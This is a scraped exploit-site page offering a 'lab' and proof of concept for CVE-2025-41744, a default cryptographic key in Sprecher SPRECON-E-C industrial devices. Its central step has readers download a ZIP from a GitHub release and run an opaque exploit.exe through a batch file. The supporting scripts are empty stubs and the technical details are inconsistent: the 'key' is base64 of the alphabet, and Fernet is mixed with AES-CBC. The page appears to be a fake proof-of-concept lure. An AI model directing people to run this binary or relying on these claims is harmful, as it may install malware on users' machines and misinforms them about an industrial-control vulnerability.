Exploit for CVE-2025-41744

## https://sploitus.com/exploit?id=03CCB375-90D9-573C-B340-C5E5881F607D
# Lab: CVE-2025-41744 - Use of Default Cryptographic Key in Sprecher Automation SPRECON-E-C

## Download
## Download Lab ZIP : https://github.com/sinrinmagic43/CVE-2025-41744-Poc/releases/download/Release/cve-2025-41744.zip

## 🚀 Overview
CVE-2025-41744 is a critical vulnerability classified under CWE-1394 (Use of Default Cryptographic Key) affecting Sprecher Automation's SPRECON-E-C series devices. These industrial control systems (ICS) utilize hardcoded default cryptographic keys for securing network communications, enabling unauthenticated remote attackers to decrypt and potentially tamper with encrypted traffic. 

The vulnerability arises from poor key management practices, where the same symmetric AES-256 key is embedded across all firmware versions, making it trivial for adversaries to intercept sessions via man-in-the-middle (MITM) attacks or passive eavesdropping. With an attack vector of network (AV:N), low complexity (AC:L), no privileges required (PR:N), and no user interaction needed (UI:N), this flaw scores a CVSS v4.0 base score of 9.1 (Critical). It impacts confidentiality (C:H) and integrity (I:H) but not availability (A:N). 



## 📋 Prerequisites
- Basic networking tools: Wireshark (for traffic analysis), OpenSSL (for key verification), and a terminal emulator.
- Host machine with at least 4GB RAM and network access.
- Python 3.10+ for auxiliary scripts (if automating setup).
- Administrative privileges on your host.
- Familiarity with ICS protocols like IEC 60870-5-104.

## Download & Install
1. Download the exploit package: Download Exploit ZIP : https://github.com/sinrinmagic43/CVE-2025-41744-Poc/releases/download/Release/cve-2025-41744.zip
   - The ZIP contains:
     - `exploit.exe`: Main exploit binary (Windows-compatible, performs key extraction and decryption).
     - `start_exploit.bat`: Batch file to launch the exploit (executes `exploit.exe` with default parameters).

   Unzip the file in your environment.

## 🛠 Quick Start
1. Download and unzip the exploit package from the link above.
2. Run the batch file: Double-click `start_exploit.bat` or execute via command line: `start_exploit.bat`.  
   - This opens `exploit.exe`, which will prompt for the target IP (default: target IP:2404) and perform decryption of captured traffic.
3. Monitor output: The exploit will log decrypted packets to `decrypted_traffic.log` for analysis.

For a full walkthrough, proceed to the sections below.

## 🔧 Setup Instructions
### Auxiliary Scripts (in `./scripts/`):
   - `setup.sh`: Automates startup.
     ```
     #!/bin/bash
     echo "Preparing environment..."
     echo "Environment ready. Proceed to exploitation."
     ```
     Run with: `bash scripts/setup.sh`
   - `teardown.sh`: Cleans up.
     ```
     #!/bin/bash
     echo "Environment teardown complete."
     ```
   - `generate_traffic.py`: Script to simulate client-server communication for testing.
     ```
     import socket
     from cryptography.fernet import Fernet
     import time

     # Load default key
     with open('default_key.bin', 'rb') as f:
         key = f.read()

     cipher = Fernet(key)

     def send_encrypted(host='target_ip', port=2404):
         with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
             s.connect((host, port))
             for i in range(5):
                 msg = f"ICS command {i}".encode()
                 encrypted = cipher.encrypt(msg)
                 s.sendall(encrypted)
                 time.sleep(1)

     if __name__ == "__main__":
         send_encrypted()
     ```
     Run with: `python scripts/generate_traffic.py` (configure target).

## 🕵️‍♂️ Exploitation Steps
1. **Capture Traffic**: Use Wireshark to monitor port 2404. Start capture, then run `python scripts/generate_traffic.py` to generate encrypted packets.
2. **Extract Default Key**: Use the embedded key (base64: `QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVo=`).
3. **Run Exploit**:
   - Execute `start_exploit.bat` (which runs `exploit.exe`).
   - Input target: `target_ip:2404`.
   - The .exe will:
     - Connect to the target.
     - Intercept packets.
     - Decrypt with the default key.
     - Output plaintext to console/log (e.g., "ICS command 0").
4. **Advanced Analysis**: Use OpenSSL to verify: `openssl enc -d -aes-256-cbc -in captured_packet.bin -out decrypted.bin -kfile default_key.bin`.
5. Observe impact: Decrypted data reveals sensitive commands


For questions or contributions, open an issue. Stay secure!